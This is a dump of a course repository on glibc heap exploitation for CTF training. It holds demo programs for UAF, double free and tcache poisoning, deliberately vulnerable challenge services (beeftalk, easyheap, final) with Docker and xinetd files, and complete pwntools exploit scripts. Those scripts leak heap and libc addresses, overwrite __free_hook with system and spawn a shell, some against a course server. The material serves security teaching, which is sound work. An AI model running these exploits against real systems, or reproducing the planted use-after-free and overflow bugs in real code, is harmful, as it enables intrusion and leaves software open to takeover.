b'A'*0x8 + ROP) r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret)) # bad #r.sendafter('Give me filename: ', '/bin/sh\x00') #r.sendafter('Give me ROP: ', b'A'*0x8 + ROP_bad) #r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret)) r.interactive() ================================================ FILE: 2021/week2/demo/Makefile ================================================ all: demo_double_free demo_fastbin demo_double_free demo_fastbin demo_heap_overflow demo_largebin demo_malloc_state demo_overlapping_chunks demo_smallbin demo_tcache_poisoning demo_tcache demo_UAF demo_unsortedbin demo_double_free: gcc -g -o $@ $@.c demo_fastbin: gcc -g -o $@ $@.c demo_heap_overflow: gcc -g -o $@ $@.c demo_largebin: gcc -g -o $@ $@.c demo_malloc_state: gcc -g -o $@ $@.c demo_overlapping_chunks: gcc -g -o $@ $@.c demo_smallbin: gcc -g -o $@ $@.c demo_tcache_poisoning: gcc -g -o $@ $@.c demo_tcache: gcc -g -o $@ $@.c demo_UAF: gcc -g -o $@ $@.c demo_unsortedbin: gcc -g -o $@ $@.c ================================================ FILE: 2021/week2/demo/demo_UAF.c ================================================ #include #include int main() { void *AA, *BB; AA = malloc(0x10); BB = malloc(0x10); free(BB); free(AA); unsigned long *a = malloc(0x10); *a = 0xdeadbeef; free(a); *a = 0xdeadbeef; malloc(0x10); malloc(0x10); return 0; } ================================================ FILE: 2021/week2/demo/demo_UAF.sh ================================================ #!/bin/bash gdb ./demo_UAF ================================================ FILE: 2021/week2/demo/demo_double_free.c ================================================ #include #include int main() { void *dummy[7]; unsigned long *A, *B; for (int i = 0; i < 7; i++) dummy[i] = malloc(0x10); A = malloc(0x10); B = malloc(0x10); for (int i = 0; i < 7; i++) free(dummy[i]); free(A); free(B); free(A); // clean tcache // 不過因為 malloc 會 trigger tcache stashing, // 因此我們用 calloc() 直接從 fastbin 取出 chunk A = calloc(0x10, 1); *A = 0xdeadbeef; calloc(0x10, 1); calloc(0x10, 1); calloc(0x10, 1); // 0xdeadbeef return 0; } ================================================ FILE: 2021/week2/demo/demo_double_free.sh ================================================ #!/bin/bash gdb ./demo_double_free ================================================ FILE: 2021/week2/demo/demo_fastbin.c ================================================ #include #include int main() { void *dummy[7]; void *chk1, *chk2; for (int i = 0; i < 7; i++) dummy[i] = malloc(0x10); chk1 = malloc(0x10); chk2 = malloc(0x10); // fill tcache for (int i = 0; i < 7; i++) free(dummy[i]); free(chk1); free(chk2); return 0; } ================================================ FILE: 2021/week2/demo/demo_fastbin.sh ================================================ #!/bin/bash gdb ./demo_tcache # p *(tcache_entry*) 0x5555555593f0 # p main_arena.fastbinsY ================================================ FILE: 2021/week2/demo/demo_heap_overflow.c ================================================ #include #include int main() { unsigned long *chk1 = malloc(0x10); void *chk2 = malloc(0x10); chk1[3] = 0x31; free(chk2); return 0; } ================================================ FILE: 2021/week2/demo/demo_heap_overflow.sh ================================================ #!/bin/bash gdb ./demo_heap_overflow ================================================ FILE: 2021/week2/demo/demo_largebin.c ================================================ #include #include int main() { void *avoid_consolidation[7]; void *chk[7]; for (int i = 0; i < 7; i++) { chk[i] = malloc(0x410 + i*0x10); avoid_consolidation[i] = malloc(0x10); } for (int i = 0; i < 7; i++) free(chk[i]); malloc(0x800); // trigger unsorted bin --> large bin return 0; } ================================================ FILE: 2021/week2/demo/demo_largebin.sh ================================================ #!/bin/bash gdb ./demo_largebin ================================================ FILE: 2021/week2/demo/demo_malloc_state.c ================================================ #include #include int main() { malloc(0x100); return 0; } ================================================ FILE: 2021/week2/demo/demo_malloc_state.sh ================================================ #!/bin/bash gdb ./demo_malloc_state # p main_arena ================================================ FILE: 2021/week2/demo/demo_overlapping_chunks.c ================================================ #include #include int main() { unsigned long *A, *B; unsigned total; A = malloc(0x410); B = malloc(0x10); *(A-1) = 0x421 + 0x20; // 0x20 == B 的 chunk size free(A); // consolidate to top chunk A = malloc(0x430); total = (0x430 / 8); A[total - 2] = 0xdeadbeef; printf("%lx\n", B[0]); return 0; } ================================================ FILE: 2021/week2/demo/demo_overlapping_chunks.sh ================================================ #!/bin/bash gdb ./demo_overlapping_chunks ================================================ FILE: 2021/week2/demo/demo_smallbin.c ================================================ #include #include int main() { void *avoid_consolidation; void *unsorted_bin; unsorted_bin = malloc(0x410); avoid_consolidation = malloc(0x10); free(unsorted_bin); malloc(0x3f0); malloc(0x20); // 0x30 > 0x20 return 0; } ================================================ FILE: 2021/week2/demo/demo_smallbin.sh ================================================ #!/bin/bash gdb ./demo_smallbin ================================================ FILE: 2021/week2/demo/demo_tcache.c ================================================ #include #include int main() { void *a, *b, *c, *d; void *dummy1, *dummy2; dummy1 = malloc(0x140); dummy2 = malloc(0x140); free(dummy1); free(dummy2); a = malloc(0x10); b = malloc(0x10); c = malloc(0x10); d = malloc(0x10); free(a); malloc(0x10); free(b); free(c); free(d); return 0; } ================================================ FILE: 2021/week2/demo/demo_tcache.sh ================================================ #!/bin/bash gdb ./demo_tcache # p *(tcache_entry*) 0x5555555593f0 # p *(tcache_perthread_struct*) 0x555555559010 ================================================ FILE: 2021/week2/demo/demo_tcache_poisoning.c ================================================ #include #include int main() { unsigned long *A; A = malloc(0x10); free(A); *(A+1) = 0xc0ffee; // overwrite key free(A); *A = 0xdeadbeef; malloc(0x10); malloc(0x10); // get 0xdeadbeef return 0; } ================================================ FILE: 2021/week2/demo/demo_tcache_poisoning.sh ================================================ #!/bin/bash gdb ./demo_tcache_poisoning ================================================ FILE: 2021/week2/demo/demo_unsortedbin.c ================================================ #include #include int main() { void *avoid_consolidation[7]; void *chk[7]; for (int i = 0; i < 7; i++) { chk[i] = malloc(0x440); avoid_consolidation[i] = malloc(0x10); } for (int i = 0; i < 7; i++) free(chk[i]); return 0; } ================================================ FILE: 2021/week2/demo/demo_unsortedbin.sh ================================================ #!/bin/bash gdb ./demo_unsortedbin ================================================ FILE: 2021/week2/hw/beeftalk/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m beeftalk RUN chown -R root:root /home/beeftalk RUN chmod -R 755 /home/beeftalk CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week2/hw/beeftalk/docker-compose.yml ================================================ version: '3' services: beeftalk: build: ./ volumes: - ./share:/home/beeftalk:ro - ./xinetd:/etc/xinetd.d/beeftalk:ro ports: - "30207:30207" expose: - "30207" ================================================ FILE: 2021/week2/hw/beeftalk/share/Makefile ================================================ all: gcc -g -o beeftalk beeftalk.c ================================================ FILE: 2021/week2/hw/beeftalk/share/beeftalk.c ================================================ #include #include #include #include #include #include #include #include #include #include "beeftalk.h" #define MAX_USER 0x8 typedef struct _User { char *name; char *desc; char *job; char *pipe_name; char *fifo0; char *fifo1; unsigned long namelen; unsigned long token; long int assets; } User; User *init_user(); void update_user(User*); void free_user(User*); void show_user(User*); User *find_user_by_token(unsigned long); User *login(); void chat(User*); void signup(); User *users[ MAX_USER ]; int uridx = 0; User *init_user() { User *u = malloc(sizeof(User)); u->name = malloc(0x20); u->desc = malloc(0x40); u->job = malloc(0x10); u->fifo0 = malloc(0x20); u->fifo1 = malloc(0x20); u->token = 0; u->assets = 0; u->namelen = 0; return u; } void free_user(User *u) { free(u->name); free(u->desc); free(u->job); free(u->fifo0); free(u->fifo1); unlink(u->fifo0); unlink(u->fifo1); free(u); } void show_user(User *u) { printf("-----------\n" "Name: %s\n" "Desc: %s\n" "Job: %s\n" "Assets: %ld\n" "Token: %lu\n" "-----------\n", u->name, u->desc, u->job, u->assets, u->token); } void delete_account(unsigned long token) { User *u = find_user_by_token(token); if (u) { free_user(u); uridx--; } } User *find_user_by_token(unsigned long token) { for (int i = 0; i < MAX_USER; i++) if (users[i] && users[i]->token == token) return users[i]; return NULL; } User *login() { unsigned long token = 0; User *u; printf("Give me your token: \n> "); token = readlx64(); u = find_user_by_token(token); if (u) puts("[+] Login successfully !"); else puts("[-] Login failed"); return u; } void update_user(User *u) { printf("Name: \n> "); readstr(u->name, u->namelen); printf("Desc: \n> "); readstr(u->desc, 0x40); printf("Job: \n> "); readstr(u->job, 0x10); printf("Money: \n> "); u->assets = readi64(); puts("Update successfully !"); } void signup() { if (uridx >= MAX_USER) { puts("Our server can't hold more users"); return; } User *tmpuser = init_user(); char buf[0x100]; int nr; printf("What's your name ?\n> "); nr = safe_read(0, buf, 0x100); if (nr > 0x20) tmpuser->name = realloc(tmpuser->name, nr); tmpuser->namelen = nr; memcpy(tmpuser->name, buf, nr); printf("What's your desc ?\n> "); readstr(tmpuser->desc, 0x40); printf("What's your job ?\n> "); readstr(tmpuser->job, 0x10); printf("How much money do you have ?\n> "); tmpuser->assets = readi64(); show_user(tmpuser); printf("Is correct ?\n(y/n) > "); if (readc() == 'n') { free_user(tmpuser); puts("Sorry, plz signup again :("); return; } do { tmpuser->token = (((unsigned long) rand()) << 32) + (unsigned long) rand() + tmpuser->assets; sprintf(tmpuser->fifo0, "/tmp/%lx-0", tmpuser->token); } while (!access(tmpuser->fifo0, F_OK)); sprintf(tmpuser->fifo1, "/tmp/%lx-1", tmpuser->token); mkfifo(tmpuser->fifo0, 0666); // for send mkfifo(tmpuser->fifo1, 0666); // for recv users[uridx++] = tmpuser; printf("Done! This is your login token: %lx\n", tmpuser->token); } void chat(User *u) { char buf[0x100] = {0}; char fifo0[0x20] = {0}; char fifo1[0x20] = {0}; int nr, len; int fd0, fd1; int connector = 0; char *chat_buf = (char *) malloc(0x100); printf("Connect to room with token ?\n(y/n) > "); if (readc() == 'y') { printf("Connection token: \n> "); readstr(buf, 0x10); sprintf(fifo1, "/tmp/%16s-0", buf); sprintf(fifo0, "/tmp/%16s-1", buf); if (access(fifo1, F_OK) == -1 || access(fifo0, F_OK) == -1) { puts("[-] Match failed"); free(chat_buf); return; } fd0 = open(fifo0, O_RDONLY); fd1 = open(fifo1, O_WRONLY); puts("Match successfully !"); connector = 1; } else { strcpy(fifo0, u->fifo0); strcpy(fifo1, u->fifo1); puts("Waiting for matching ..."); fd1 = open(fifo1, O_WRONLY); fd0 = open(fifo0, O_RDONLY); puts("Match successfully !"); } if (fd0 == -1 || fd1 == -1) { puts("[-] Match failed"); free(chat_buf); return; } puts("\n*--------** Room **--------*"); if (connector) { while (1) { // send printf("> "); nr = safe_read(0, buf, 0x80); sprintf(chat_buf, "%s: ", u->name); // name prefix len = strlen(chat_buf); memcpy(chat_buf + len, buf , nr); // copy content write(fd1, chat_buf, nr + len); // maybe you want to exit if (strstr(buf, "I need to go :(")) break; // recv nr = safe_read(fd0, chat_buf, 0x100); write(1, chat_buf, nr); // maybe he/she want to exit if (strstr(chat_buf, "I need to go :(")) break; } } else { while (1) { // recv nr = safe_read(fd0, chat_buf, 0x80); write(1, chat_buf, nr); // maybe he/she want to exit if (strstr(chat_buf, "I need to go :(")) break; // send printf("> "); nr = safe_read(0, buf, 0x80); sprintf(chat_buf, "%s: ", u->name); // name prefix len = strlen(chat_buf); memcpy(chat_buf + len, buf , nr); // copy content write(fd1, chat_buf, nr + len); // maybe you want to exit if (strstr(buf, "I need to go :(")) break; } } puts("\n*--------** Chat end **--------*"); sleep(1); close(fd0); close(fd1); free(chat_buf); return; } int main() { srand(time(NULL)); setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); puts(banner); User *user; while (1) { while (1) { show_begin_menu(); switch (readu64()) { case 1: if (user = login()) break; continue; case 2: signup(); continue; case 3: puts("Goodbye !"); goto leave; default: puts("Invalid option"); continue; } break; } printf("Hello %s, have a nice day !\n", user->name); while (1) { show_chat_menu(); switch (readu64()) { case 1: update_user(user); continue; case 2: chat(user); continue; case 3: printf("Are you sure ?\n(y/n) > "); if (readc() == 'y') { delete_account(user->token); puts("Delete successfully !"); break; } continue; case 4: puts("Login again"); break; default: puts("Invalid option"); continue; } break; } } leave: return 0; } ================================================ FILE: 2021/week2/hw/beeftalk/share/beeftalk.h ================================================ #ifndef _BEEFTALK_H_ #define _BEEFTALK_H_ const char *banner = "" " ____ __ _ _ _ \n" " | __ ) ___ ___ / _| |_ __ _| | | __\n" " | _ \\ / _ \\/ _ \\ |_| __/ _` | | |/ /\n" " | |_) | __/ __/ _| || (_| | | < \n" " |____/ \\___|\\___|_| \\__\\__,_|_|_|\\_\\\n" "\n" "The greatest chat software in the world !\n" "Welcome ! If you use our service first time, make sure you have an account :)"; void readstr(); void show_chat_menu(); void show_begin_menu(); unsigned char readc(); unsigned long readu64(); unsigned long readlx64(); long int readi64(); ssize_t safe_read(int, void*, size_t); ssize_t safe_read(int fd, void *ptr, size_t count) { int nread = 0; nread = read(fd, ptr, count); if (nread <= 0) exit(1); return nread; } void readstr(char *ptr, unsigned cnt) { int nread = 0; nread = safe_read(0, ptr, cnt + 1); ptr[nread - 1] = '\0'; } unsigned long readu64() { char str[0x20] = {0}; readstr(str, 0x10); return strtoul(str, NULL, 10); } unsigned long readlx64() { char str[0x20] = {0}; readstr(str, 0x10); return strtoul(str, NULL, 16); } long int readi64() { char str[0x20] = {0}; readstr(str, 0x10); return strtol(str, NULL, 10); } unsigned char readc() { char c = getc(stdin); getc(stdin); return c; } void show_chat_menu() { puts("1. update information"); puts("2. chat with other"); puts("3. delete account"); puts("4. logout"); printf("> "); } void show_begin_menu() { puts("1. login"); puts("2. signup"); puts("3. leave"); printf("> "); } #endif ================================================ FILE: 2021/week2/hw/beeftalk/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week2/hw/beeftalk/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/beeftalk/beeftalk ================================================ FILE: 2021/week2/hw/beeftalk/xinetd ================================================ service beeftalk { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/beeftalk/run.sh user = beeftalk port = 30207 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week2/hw/easyheap/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m easyheap RUN chown -R root:root /home/easyheap RUN chmod -R 755 /home/easyheap CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week2/hw/easyheap/docker-compose.yml ================================================ version: '3' services: easyheap: build: ./ volumes: - ./share:/home/easyheap:ro - ./xinetd:/etc/xinetd.d/easyheap:ro ports: - "30211:30211" expose: - "30211" ================================================ FILE: 2021/week2/hw/easyheap/share/Makefile ================================================ all: gcc -g -o easyheap easyheap.c ================================================ FILE: 2021/week2/hw/easyheap/share/easyheap.c ================================================ #include #include #include #define MAX_BOOK_NUM 0x10 typedef struct _Book { char *name; unsigned long index; unsigned long price; unsigned long namelen; } Book; Book* books[ MAX_BOOK_NUM ]; ssize_t safe_read(int fd, void *ptr, size_t count) { int nread = 0; nread = read(fd, ptr, count); if (nread <= 0) exit(1); return nread; } void readstr(char *ptr, unsigned cnt) { int nread = 0; nread = safe_read(0, ptr, cnt + 1); ptr[nread - 1] = '\0'; } unsigned long readu64() { char str[0x20] = {0}; readstr(str, 0x10); return strtoul(str, NULL, 10); } void show_book(Book *book) { printf("Index:\t%lu\n", book->index); printf("Name:\t%s\n", book->name); printf("Price:\t%lu\n", book->price); } void add_book() { unsigned long idx = 0; unsigned long namelen = 0; printf("Index: "); idx = readu64(); if (idx >= MAX_BOOK_NUM || books[idx]) { puts("Invalid"); return; } printf("Length of name: "); namelen = readu64(); if (namelen >= 0x440) { puts("Too long"); return; } books[idx] = (Book *) malloc(sizeof(Book)); books[idx]->name = malloc(namelen); books[idx]->price = 0; books[idx]->index = idx; books[idx]->index = namelen; printf("Name: "); readstr(books[idx]->name, namelen); printf("Price: "); books[idx]->price = readu64(); puts("Create book successfully !"); show_book(books[idx]); } void delete_book() { unsigned long idx = 0; printf("Which book do you want to delete: "); idx = readu64(); if (!books[idx]) { puts("Invalid"); return; } free(books[idx]->name); free(books[idx]); } void edit_book() { unsigned long idx = 0; printf("Which book do you want to edit: "); idx = readu64(); if (!books[idx]) { puts("Invalid"); return; } printf("Name: "); readstr(books[idx]->name, 0x20); printf("Price: "); books[idx]->price = readu64(); puts("Edit book successfully !"); show_book(books[idx]); } void list_book() { for (int i = 0; i < MAX_BOOK_NUM; i++) { if (books[i]) { puts("--------------------"); show_book(books[i]); } } } void get_name_from_idx() { unsigned long idx = 0; printf("Index: "); idx = readu64(); if (books[idx]) printf("Name: %s\n", books[idx]->name); else puts("Not found"); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); unsigned long opt = 0; while (1) { printf("--- happy bookstore ---\n" "1. add book\n" "2. delete book\n" "3. edit book\n" "4. list books\n" "5. find book\n" "6. leave\n" "> "); opt = readu64(); switch (opt) { case 1: add_book(); break; case 2: delete_book(); break; case 3: edit_book(); break; case 4: list_book(); break; case 5: get_name_from_idx(); break; case 6: puts("Goodbye~"); goto leave; default: puts("Invalid"); break; } } leave: return 0; } ================================================ FILE: 2021/week2/hw/easyheap/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week2/hw/easyheap/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/easyheap/easyheap ================================================ FILE: 2021/week2/hw/easyheap/xinetd ================================================ service easyheap { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/easyheap/run.sh user = easyheap port = 30211 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week2/hw/exp/beeftalk.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./beeftalk') def login(token): r.sendlineafter('> ', '1') r.sendlineafter('Give me your token: \n> ', token) def signup(name, desc, job, money, correct): r.sendlineafter('> ', '2') r.sendafter("What's your name ?\n> ", name) r.sendafter("What's your desc ?\n> ", desc) r.sendafter("What's your job ?\n> ", job) r.sendlineafter("How much money do you have ?\n> ", str(money)) r.sendlineafter("Is correct ?\n(y/n) > ", correct) r.recvuntil('Done! This is your login token: ') return r.recvline()[:-1] def leave(): r.sendlineafter('> ', '3') # -------- after login -------- def update(name, desc, job, money): r.sendlineafter('> ', '1') r.sendafter('Name: \n> ', name) r.sendafter('Desc: \n> ', desc) r.sendafter('Job: \n> ', job) r.sendlineafter('Money: \n> ', str(money)) def delete(): r.sendlineafter('> ', '3') r.sendlineafter('> ', 'y') def logout(): r.sendlineafter('> ', '4') tokens = [None] * 8 for i in range(8): tokens[i] = signup(b'\x00'*0xf8, 'A', 'A', 0xdeadbeef, 'y') for i in range(2): login(tokens[i]) delete() login(tokens[1]) r.recvuntil('Hello ') heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x2a0 info(f"heap: {hex(heap)}") logout() for i in range(2, 8): login(tokens[i]) delete() # make 0x50 chunk in sorted bin to small bin tokens[0] = signup(b'\x00'*0xf8, 'A', 'A', 0xdeadbeef, 'y') # 0 login(tokens[3]) r.recvuntil('Hello ') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebc10 _system = libc + 0x55410 __free_hook = libc + 0x1eeb28 info(f"libc: {hex(libc)}") logout() login(tokens[2]) # will be desc of token[0] update( p64(0) + p64(0x51) + p64(0) + p64(__free_hook - 8)[:-1], b"/bin/sh\x00" + p64(_system), 'A', 0xdeadbeef ) delete() r.interactive() ================================================ FILE: 2021/week2/hw/exp/easyheap.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) > 1: r = remote('edu-ctf.zoolab.org', 30211) else: r = process('./easyheap') def add(idx, nlen, name, price): r.sendlineafter('> ', '1') r.sendlineafter('Index: ', str(idx)) r.sendlineafter('Length of name: ', str(nlen)) r.sendlineafter('Name: ', name) r.sendlineafter('Price: ', str(price)) def delete(idx): r.sendlineafter('> ', '2') r.sendlineafter('Which book do you want to delete: ', str(idx)) def edit(idx, name, price): r.sendlineafter('> ', '3') r.sendlineafter('Which book do you want to edit: ', str(idx)) r.sendlineafter('Name: ', name) r.sendlineafter('Price: ', str(price)) def list_(): r.sendlineafter('> ', '4') def find_(idx): r.sendlineafter('> ', '5') r.sendlineafter('Index: ', str(idx)) add(0, 0x410, 'A', 0) add(1, 0x10, 'A', 0) add(2, 0x28, 'A', 0) delete(0) list_() r.recvuntil('Index:\t') heap = int(r.recvline()[:-1]) - 0x10 info(f"heap: {hex(heap)}") delete(1) delete(2) add(3, 0x10, 'A', 0) add(4, 0x28, p64(heap+0x2d0) + p64(0x28), 0) list_() r.recvuntil('--------------------') r.recvuntil('--------------------') r.recvuntil('Name:\t') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 __free_hook = libc + 0x1eeb28 _system = libc + 0x55410 info(f"libc: {hex(libc)}") edit(4, p64(heap+0x98), 0) edit(1, p64(__free_hook - 0x10), 0) add(5, 0x10, '/bin/sh', str(_system)) delete(5) r.interactive() ================================================ FILE: 2021/week2/hw/exp/final.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) != 2: print("./demo_final 1 - UAF --> overwrite func ptr --> system(\"/bin/sh\")") print("./demo_final 2 - hijack name ptr --> overwrite next chk func ptr --> one gadget") print("./demo_final 3 - heap overflow --> tcache poisoning --> __free_hook to system --> free(\"/bin/sh\")") exit(1) # r = process('./final') r = remote('edu-ctf.zoolab.org', 30210) def buy(idx, nlen, name): r.sendlineafter('> ', '1') r.sendlineafter('cat or dog ?\n> ', 'cat') r.sendlineafter("len of name:\n> ", str(nlen)) r.sendafter('name:\n> ', name) r.sendlineafter('where to keep (0 or 1) ?\n> ', str(idx)) def release(idx): r.sendlineafter('> ', '2') r.sendlineafter('which one to release (0 or 1) ?\n> ', str(idx)) def change(idx, nlen, name, len_change): r.sendlineafter('> ', '3') r.sendlineafter('which one to change (0 or 1) ?\n> ', str(idx)) if len_change == True: r.sendlineafter('will the len of name change (y/n) ?\n> ', 'y') r.sendlineafter("new len of name:\n> ", str(nlen)) else: r.sendlineafter('will the len of name change (y/n) ?\n> ', 'n') r.sendafter('new name:\n> ', name) def play(idx): r.sendlineafter('> ', '4') r.sendlineafter('which one to play (0 or 1) ?\n> ', str(idx)) # 1. 首先 allocate chunk size 0x420,釋放後再次取得,利用殘留在 chunk 的 unsorted bin 位址來 leak libc buy(0, 0x410, 'dummy') buy(1, 0x410, 'dummy') # 由於 freed chunk 相鄰 top chunk 時會觸發 consolidate,因此多放一塊 chk 來避免 release(0) buy(0, 0x410, 'AAAAAAAA') play(0) r.recvuntil('A'*8) # 從 bk 留下的 unsorted bin address 來 leak libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 _system = libc + 0x55410 __free_hook = libc + 0x1eeb28 one_shot = libc + 0xe6c84 binsh = libc + 0x1b75aa info(f"libc: {hex(libc)}") # 2. 再利用 UAF 去 leak tcache 的 fd,得到 heap address buy(0, 0x10, 'dummy') buy(1, 0x10, 'dummy') release(0) release(1) play(1) r.recvuntil('MEOW, I am a cute ') heap = u64(r.recv(6).ljust(8, b'\x00')) - 0xb40 info(f"heap: {hex(heap)}") if sys.argv[1] == '1': # 2. 從 tcache 當中依序取得 animals[1], animals[0],分別 assign 給 animals[1], # 以及覆蓋成任意資料 animals[1]->name,而 name 可控,因此可以覆蓋原本的 animals[0] # - type: b'/bin/sh\x00' + b'A'*0x8 # - len: 0xdeadbeef # - name: 0xdeadbeef # - bark: system buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system)) # 3. get shell play(0) elif sys.argv[1] == '2': # 2. 同上,不過這次要控 name 與 len,使其可以寫到其他 chunk 內的資料 # - type: b'A'*0x10 # - len: 0x10000 # - name: heap # - bark: 0xdeadbeef buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef)) buy(1, 0x10, 'dummy') # 3. 此時 animals[0] 可以寫 0x10000 大小的資料,並且 name 指向 heap+0xbe0, # 我們 hijack animals[1] 的 func ptr 成 one gadget 做利用 # - type: heap+0x100 (rdi: 指向 NULL 的 pointer) # - len: 0xdeadbeef # - name: heap+0x100 (rsi: 指向 NULL 的 pointer) # - bark: one gadget change(0, 0xffffffff, p64(heap+0x100) + p64(0) + p64(0xdeadbeef) + p64(heap+0x100) + p64(one_shot), False) # 4. 可惜 one gadget 中沒有我們都無法滿足條件,因此執行完後程式會 crash play(1) elif sys.argv[1] == '3': # 2. 同上,目標是要寫任意大小的 buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef)) buy(1, 0x10, 'dummy') release(1) # 3. 蓋寫 animals[0] 的 key 時需注意 release() 也會釋放 name 欄位,因此要塞入一個合法的 chunk 位址 change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb40), False) release(1) change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb90), False) release(1) # 4. 此時我們可以蓋寫 tcache fd 成 __free_hook - 8,而 __free_hook-8 ~ __free_hook 可以放 "/bin/sh\x00" change(0, 0xffffffff, p64(__free_hook - 8), False) # 當我們請求 0x28 大小的 chunk,會取得 __free_hook 的位址,寫入 system buy(1, 0x28, b'/bin/sh\x00' + p64(_system)) # 5. get shell release(1) else: print("NO :(") r.close() exit(1) r.interactive() ================================================ FILE: 2021/week2/hw/final/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m final RUN chown -R root:root /home/final RUN chmod -R 755 /home/final CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week2/hw/final/docker-compose.yml ================================================ version: '3' services: final: build: ./ volumes: - ./share:/home/final:ro - ./xinetd:/etc/xinetd.d/final:ro ports: - "30210:30210" expose: - "30210" ================================================ FILE: 2021/week2/hw/final/share/Makefile ================================================ all: gcc -g -o final final.c ================================================ FILE: 2021/week2/hw/final/share/final.c ================================================ #include #include #include #include // ***************** we don't care ***************** ssize_t safe_read(int fd, void *ptr, size_t count) { int nread = 0; nread = read(fd, ptr, count); if (nread <= 0) exit(1); return nread; } void readstr(char *ptr, unsigned cnt) { int nread = 0; nread = safe_read(0, ptr, cnt + 1); ptr[nread - 1] = '\0'; } unsigned long readu64() { char str[0x20] = {0}; readstr(str, 0x10); return strtoul(str, NULL, 10); } // ************************************************* typedef struct _Animal { char type[0x10]; unsigned long len; char *name; void (*bark)(char *, char *); } Animal; Animal *animals[2]; void meow(char* type, char *name) { printf("MEOW, I am a cute %s, my name is %s !!\n", type, name); } void woof(char* type, char *name) { printf("WOOF, I am a cute %s, my name is %s !!\n", type, name); } void buy() { Animal *ani = malloc(sizeof(Animal)); char tmp[0x10]; unsigned long idx = 0; printf("cat or dog ?\n> "); readstr(tmp, 0x8); if (!strncmp(tmp, "cat", 3)) { strcpy(ani->type, "Persian"); ani->bark = meow; } else { strcpy(ani->type, "Shiba"); ani->bark = woof; } // 由於名字的長度是可以控的,如果我們請求 chunk size >= 0x420,則此 chunk 在後續釋放時 // 會進入 unsorted bin,再次取得時 fd 與 bk 的位址會有 libc address printf("len of name:\n> "); ani->len = readu64(); ani->name = malloc(ani->len); printf("name:\n> "); // 因為 read 可以不以 \x00 結尾,因此如果此時在 heap 上殘留記憶體位址,則可以 leak 出來 read(0, ani->name, ani->len); printf("where to keep (0 or 1) ?\n> "); idx = readu64(); if (idx == 1) animals[1] = ani; else animals[0] = ani; ani->bark( ani->type, ani->name ); puts("you get an animal !"); } void release() { unsigned long idx = 0; printf("which one to release (0 or 1) ?\n> "); idx = readu64(); if (idx != 0 && idx != 1) return; // 在釋放完後並沒有將 ptr 清成 NULL,可以做 double free if (animals[idx]) { free(animals[idx]->name); free(animals[idx]); } } void change() { unsigned long idx = 0; char buf[0x10] = {0}; printf("which one to change (0 or 1) ?\n> "); idx = readu64(); if (idx != 0 && idx != 1) return; printf("will the len of name change (y/n) ?\n> "); readstr(buf, 0x8); if (buf[0] == 'y') { printf("new len of name:\n> "); free(animals[idx]->name); animals[idx]->len = readu64(); animals[idx]->name = malloc(animals[idx]->len); } // 配合 release() 可以控制到 freed chunk,有 UAF 問題 printf("new name:\n> "); read(0, animals[idx]->name, animals[idx]->len); } void play() { unsigned long idx = 0; printf("which one to play (0 or 1) ?\n> "); idx = readu64(); if (idx != 0 && idx != 1) return; // 由於使用 function pointer,因此若可以透過程式漏洞蓋寫 function pointer, // 則可以輕易控制程式執行流程 animals[idx]->bark( animals[idx]->type, animals[idx]->name ); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); while (1) { puts("1. buy an animal"); puts("2. release animal"); puts("3. change animal"); puts("4. play with animal"); printf("> "); switch ( readu64() ) { case 1: buy(); continue; case 2: release(); continue; case 3: change(); continue; case 4: play(); continue; } break; } return 0; } ================================================ FILE: 2021/week2/hw/final/share/final.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) != 2: print("./demo_final 1 - UAF --> overwrite func ptr --> system(\"/bin/sh\")") print("./demo_final 2 - hijack name ptr --> overwrite next chk func ptr --> one gadget") print("./demo_final 3 - heap overflow --> tcache poisoning --> __free_hook to system --> free(\"/bin/sh\")") exit(1) # r = process('./final') r = remote('edu-ctf.zoolab.org', 30210) def buy(idx, nlen, name): r.sendlineafter('> ', '1') r.sendlineafter('cat or dog ?\n> ', 'cat') 